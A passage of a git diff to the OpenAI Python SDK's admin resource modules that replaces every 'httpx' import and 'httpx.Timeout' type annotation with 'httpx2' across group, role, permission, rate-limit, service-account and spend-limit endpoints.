- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectGroup:
"""
Retrieves a project's group.
@@ -161,7 +161,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncNextCursorPage[ProjectGroup]:
"""
Lists the groups that have access to a project.
@@ -215,7 +215,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> GroupDeleteResponse:
"""
Revokes a group's access to a project.
@@ -283,7 +283,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectGroup:
"""
Grants a group access to a project.
@@ -333,7 +333,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectGroup:
"""
Retrieves a project's group.
@@ -382,7 +382,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[ProjectGroup, AsyncNextCursorPage[ProjectGroup]]:
"""
Lists the groups that have access to a project.
@@ -436,7 +436,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> GroupDeleteResponse:
"""
Revokes a group's access to a project.
diff --git a/src/openai/resources/admin/organization/projects/groups/roles.py b/src/openai/resources/admin/organization/projects/groups/roles.py
index 70c5e93363..a3f9cff121 100644
--- a/src/openai/resources/admin/organization/projects/groups/roles.py
+++ b/src/openai/resources/admin/organization/projects/groups/roles.py
@@ -4,7 +4,7 @@
from typing_extensions import Literal
-import httpx
+import httpx2
from ...... import _legacy_response
from ......_types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -54,7 +54,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleCreateResponse:
"""
Assigns a project role to a group within a project.
@@ -98,7 +98,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleRetrieveResponse:
"""
Retrieves a project role assigned to a group.
@@ -148,7 +148,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncNextCursorPage[RoleListResponse]:
"""
Lists the project roles assigned to a group within a project.
@@ -205,7 +205,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleDeleteResponse:
"""
Unassigns a project role from a group within a project.
@@ -274,7 +274,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleCreateResponse:
"""
Assigns a project role to a group within a project.
@@ -318,7 +318,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleRetrieveResponse:
"""
Retrieves a project role assigned to a group.
@@ -368,7 +368,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[RoleListResponse, AsyncNextCursorPage[RoleListResponse]]:
"""
Lists the project roles assigned to a group within a project.
@@ -425,7 +425,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleDeleteResponse:
"""
Unassigns a project role from a group within a project.
diff --git a/src/openai/resources/admin/organization/projects/hosted_tool_permissions.py b/src/openai/resources/admin/organization/projects/hosted_tool_permissions.py
index 05737e8860..60ad9e830a 100644
--- a/src/openai/resources/admin/organization/projects/hosted_tool_permissions.py
+++ b/src/openai/resources/admin/organization/projects/hosted_tool_permissions.py
@@ -4,7 +4,7 @@
from typing import Optional
-import httpx
+import httpx2
from ..... import _legacy_response
from ....._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -48,7 +48,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectHostedToolPermissions:
"""
Returns hosted tool permissions for a project.
@@ -90,7 +90,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectHostedToolPermissions:
"""
Updates hosted tool permissions for a project.
@@ -168,7 +168,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectHostedToolPermissions:
"""
Returns hosted tool permissions for a project.
@@ -210,7 +210,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectHostedToolPermissions:
"""
Updates hosted tool permissions for a project.
diff --git a/src/openai/resources/admin/organization/projects/model_permissions.py b/src/openai/resources/admin/organization/projects/model_permissions.py
index 7320109a72..9f9fcb468e 100644
--- a/src/openai/resources/admin/organization/projects/model_permissions.py
+++ b/src/openai/resources/admin/organization/projects/model_permissions.py
@@ -4,7 +4,7 @@
from typing_extensions import Literal
-import httpx
+import httpx2
from ..... import _legacy_response
from ....._types import Body, Query, Headers, NotGiven, SequenceNotStr, not_given
@@ -49,7 +49,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectModelPermissions:
"""
Returns model permissions for a project.
@@ -88,7 +88,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectModelPermissions:
"""
Updates model permissions for a project.
@@ -136,7 +136,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectModelPermissionsDeleted:
"""
Deletes model permissions for a project.
@@ -194,7 +194,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectModelPermissions:
"""
Returns model permissions for a project.
@@ -233,7 +233,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectModelPermissions:
"""
Updates model permissions for a project.
@@ -281,7 +281,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectModelPermissionsDeleted:
"""
Deletes model permissions for a project.
diff --git a/src/openai/resources/admin/organization/projects/projects.py b/src/openai/resources/admin/organization/projects/projects.py
index ea2fb51613..7696f2e9cb 100644
--- a/src/openai/resources/admin/organization/projects/projects.py
+++ b/src/openai/resources/admin/organization/projects/projects.py
@@ -4,7 +4,7 @@
from typing import Optional
-import httpx
+import httpx2
from ..... import _legacy_response
from .roles import (
@@ -195,7 +195,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Project:
"""Create a new project in the organization.
@@ -249,7 +249,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Project:
"""
Retrieves a project.
@@ -289,7 +289,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Project:
"""
Modifies a project in the organization.
@@ -342,7 +342,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncConversationCursorPage[Project]:
"""Returns a list of projects.
@@ -398,7 +398,7 @@ def archive(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Project:
"""Archives a project in the organization.
@@ -508,7 +508,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Project:
"""Create a new project in the organization.
@@ -562,7 +562,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Project:
"""
Retrieves a project.
@@ -602,7 +602,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Project:
"""
Modifies a project in the organization.
@@ -655,7 +655,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[Project, AsyncConversationCursorPage[Project]]:
"""Returns a list of projects.
@@ -711,7 +711,7 @@ async def archive(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Project:
"""Archives a project in the organization.
diff --git a/src/openai/resources/admin/organization/projects/rate_limits.py b/src/openai/resources/admin/organization/projects/rate_limits.py
index 7f33d07414..f40ea76cf8 100644
--- a/src/openai/resources/admin/organization/projects/rate_limits.py
+++ b/src/openai/resources/admin/organization/projects/rate_limits.py
@@ -2,7 +2,7 @@
from __future__ import annotations
-import httpx
+import httpx2
from ..... import _legacy_response
from ....._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -53,7 +53,7 @@ def list_rate_limits(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncConversationCursorPage[ProjectRateLimit]:
"""
Returns the rate limits per model for a project.
@@ -118,7 +118,7 @@ def update_rate_limit(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectRateLimit:
"""
Updates a project rate limit.
@@ -208,7 +208,7 @@ def list_rate_limits(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[ProjectRateLimit, AsyncConversationCursorPage[ProjectRateLimit]]:
"""
Returns the rate limits per model for a project.
@@ -273,7 +273,7 @@ async def update_rate_limit(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectRateLimit:
"""
Updates a project rate limit.
diff --git a/src/openai/resources/admin/organization/projects/roles.py b/src/openai/resources/admin/organization/projects/roles.py
index 754a487b52..bb93cfe742 100644
--- a/src/openai/resources/admin/organization/projects/roles.py
+++ b/src/openai/resources/admin/organization/projects/roles.py
@@ -5,7 +5,7 @@
from typing import Optional
from typing_extensions import Literal
-import httpx
+import httpx2
from ..... import _legacy_response
from ....._types import Body, Omit, Query, Headers, NotGiven, SequenceNotStr, omit, not_given
@@ -54,7 +54,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Role:
"""
Creates a custom role for a project.
@@ -106,7 +106,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Role:
"""
Retrieves a project role.
@@ -149,7 +149,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Role:
"""
Updates an existing project role.
@@ -205,7 +205,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncNextCursorPage[Role]:
"""Lists the roles configured for a project.
@@ -260,7 +260,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleDeleteResponse:
"""
Deletes a custom role from a project.
@@ -323,7 +323,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Role:
"""
Creates a custom role for a project.
@@ -375,7 +375,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Role:
"""
Retrieves a project role.
@@ -418,7 +418,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> Role:
"""
Updates an existing project role.
@@ -474,7 +474,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[Role, AsyncNextCursorPage[Role]]:
"""Lists the roles configured for a project.
@@ -529,7 +529,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleDeleteResponse:
"""
Deletes a custom role from a project.
diff --git a/src/openai/resources/admin/organization/projects/service_accounts/api_keys.py b/src/openai/resources/admin/organization/projects/service_accounts/api_keys.py
index d25b1e8bf0..96f38b544d 100644
--- a/src/openai/resources/admin/organization/projects/service_accounts/api_keys.py
+++ b/src/openai/resources/admin/organization/projects/service_accounts/api_keys.py
@@ -2,7 +2,7 @@
from __future__ import annotations
-import httpx
+import httpx2
from ...... import _legacy_response
from ......_types import Body, Omit, Query, Headers, NotGiven, SequenceNotStr, omit, not_given
@@ -49,7 +49,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> APIKeyCreateResponse:
"""
Creates an API key for a service account in the project.
@@ -131,7 +131,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> APIKeyCreateResponse:
"""
Creates an API key for a service account in the project.
diff --git a/src/openai/resources/admin/organization/projects/service_accounts/service_accounts.py b/src/openai/resources/admin/organization/projects/service_accounts/service_accounts.py
index e7aa6f0f4e..c1618d4ae6 100644
--- a/src/openai/resources/admin/organization/projects/service_accounts/service_accounts.py
+++ b/src/openai/resources/admin/organization/projects/service_accounts/service_accounts.py
@@ -5,7 +5,7 @@
from typing import Optional
from typing_extensions import Literal
-import httpx
+import httpx2
from ...... import _legacy_response
from .api_keys import (
@@ -70,7 +70,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ServiceAccountCreateResponse:
"""Creates a new service account in the project.
@@ -121,7 +121,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectServiceAccount:
"""
Retrieves a service account in the project.
@@ -167,7 +167,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectServiceAccount:
"""
Updates a service account in the project.
@@ -223,7 +223,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncConversationCursorPage[ProjectServiceAccount]:
"""
Returns a list of service accounts in the project.
@@ -277,7 +277,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ServiceAccountDeleteResponse:
"""
Deletes a service account from the project.
@@ -350,7 +350,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ServiceAccountCreateResponse:
"""Creates a new service account in the project.
@@ -401,7 +401,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectServiceAccount:
"""
Retrieves a service account in the project.
@@ -447,7 +447,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectServiceAccount:
"""
Updates a service account in the project.
@@ -503,7 +503,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[ProjectServiceAccount, AsyncConversationCursorPage[ProjectServiceAccount]]:
"""
Returns a list of service accounts in the project.
@@ -557,7 +557,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ServiceAccountDeleteResponse:
"""
Deletes a service account from the project.
diff --git a/src/openai/resources/admin/organization/projects/spend_alerts.py b/src/openai/resources/admin/organization/projects/spend_alerts.py
index be0ed1bae6..3fab082ed7 100644
--- a/src/openai/resources/admin/organization/projects/spend_alerts.py
+++ b/src/openai/resources/admin/organization/projects/spend_alerts.py
@@ -4,7 +4,7 @@
from typing_extensions import Literal
-import httpx
+import httpx2
from ..... import _legacy_response
from ....._types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -58,7 +58,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectSpendAlert:
"""
Creates a project spend alert.
@@ -113,7 +113,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectSpendAlert:
"""
Retrieves a project spend alert.
@@ -159,7 +159,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectSpendAlert:
"""
Updates a project spend alert.
@@ -221,7 +221,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncConversationCursorPage[ProjectSpendAlert]:
"""Lists project spend alerts.
@@ -280,7 +280,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectSpendAlertDeleted:
"""
Deletes a project spend alert.
@@ -346,7 +346,7 @@ async def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectSpendAlert:
"""
Creates a project spend alert.
@@ -401,7 +401,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectSpendAlert:
"""
Retrieves a project spend alert.
@@ -447,7 +447,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectSpendAlert:
"""
Updates a project spend alert.
@@ -509,7 +509,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> AsyncPaginator[ProjectSpendAlert, AsyncConversationCursorPage[ProjectSpendAlert]]:
"""Lists project spend alerts.
@@ -568,7 +568,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectSpendAlertDeleted:
"""
Deletes a project spend alert.
diff --git a/src/openai/resources/admin/organization/projects/spend_limit.py b/src/openai/resources/admin/organization/projects/spend_limit.py
index 41497b2838..8eec885a08 100644
--- a/src/openai/resources/admin/organization/projects/spend_limit.py
+++ b/src/openai/resources/admin/organization/projects/spend_limit.py
@@ -4,7 +4,7 @@
from typing_extensions import Literal
-import httpx
+import httpx2
from ..... import _legacy_response
from ....._types import Body, Query, Headers, NotGiven, not_given
@@ -49,7 +49,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectSpendLimit:
"""
Get a project's hard spend limit.
@@ -89,7 +89,7 @@ def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectSpendLimit:
"""
Create or replace a project's hard spend limit.
@@ -141,7 +141,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectSpendLimitDeleted:
"""
Delete a project's hard spend limit.
@@ -199,7 +199,7 @@ async def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectSpendLimit:
"""
Get a project's hard spend limit.
@@ -239,7 +239,7 @@ async def update(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectSpendLimit:
"""
Create or replace a project's hard spend limit.
@@ -291,7 +291,7 @@ async def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ProjectSpendLimitDeleted:
"""
Delete a project's hard spend limit.
diff --git a/src/openai/resources/admin/organization/projects/users/roles.py b/src/openai/resources/admin/organization/projects/users/roles.py
index 59ee68f135..d7ede48ec5 100644
--- a/src/openai/resources/admin/organization/projects/users/roles.py
+++ b/src/openai/resources/admin/organization/projects/users/roles.py
@@ -4,7 +4,7 @@
from typing_extensions import Literal
-import httpx
+import httpx2
from ...... import _legacy_response
from ......_types import Body, Omit, Query, Headers, NotGiven, omit, not_given
@@ -54,7 +54,7 @@ def create(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleCreateResponse:
"""
Assigns a project role to a user within a project.
@@ -98,7 +98,7 @@ def retrieve(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> RoleRetrieveResponse:
"""
Retrieves a project role assigned to a user.
@@ -148,7 +148,7 @@ def list(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> SyncNextCursorPage[RoleListResponse]:
"""
Lists the project roles assigned to a user within a project.
@@ -205,7 +205,7 @@ def delete(
extra_headers: Headers | None = None,
extra_query: Query | None = None,
extra_body: Body | None = None,
- timeout: float | httpx.Timeout | None | NotGiven = not_given,
+ timeout: float | httpx2.Timeout | None | NotGiven = not_given,
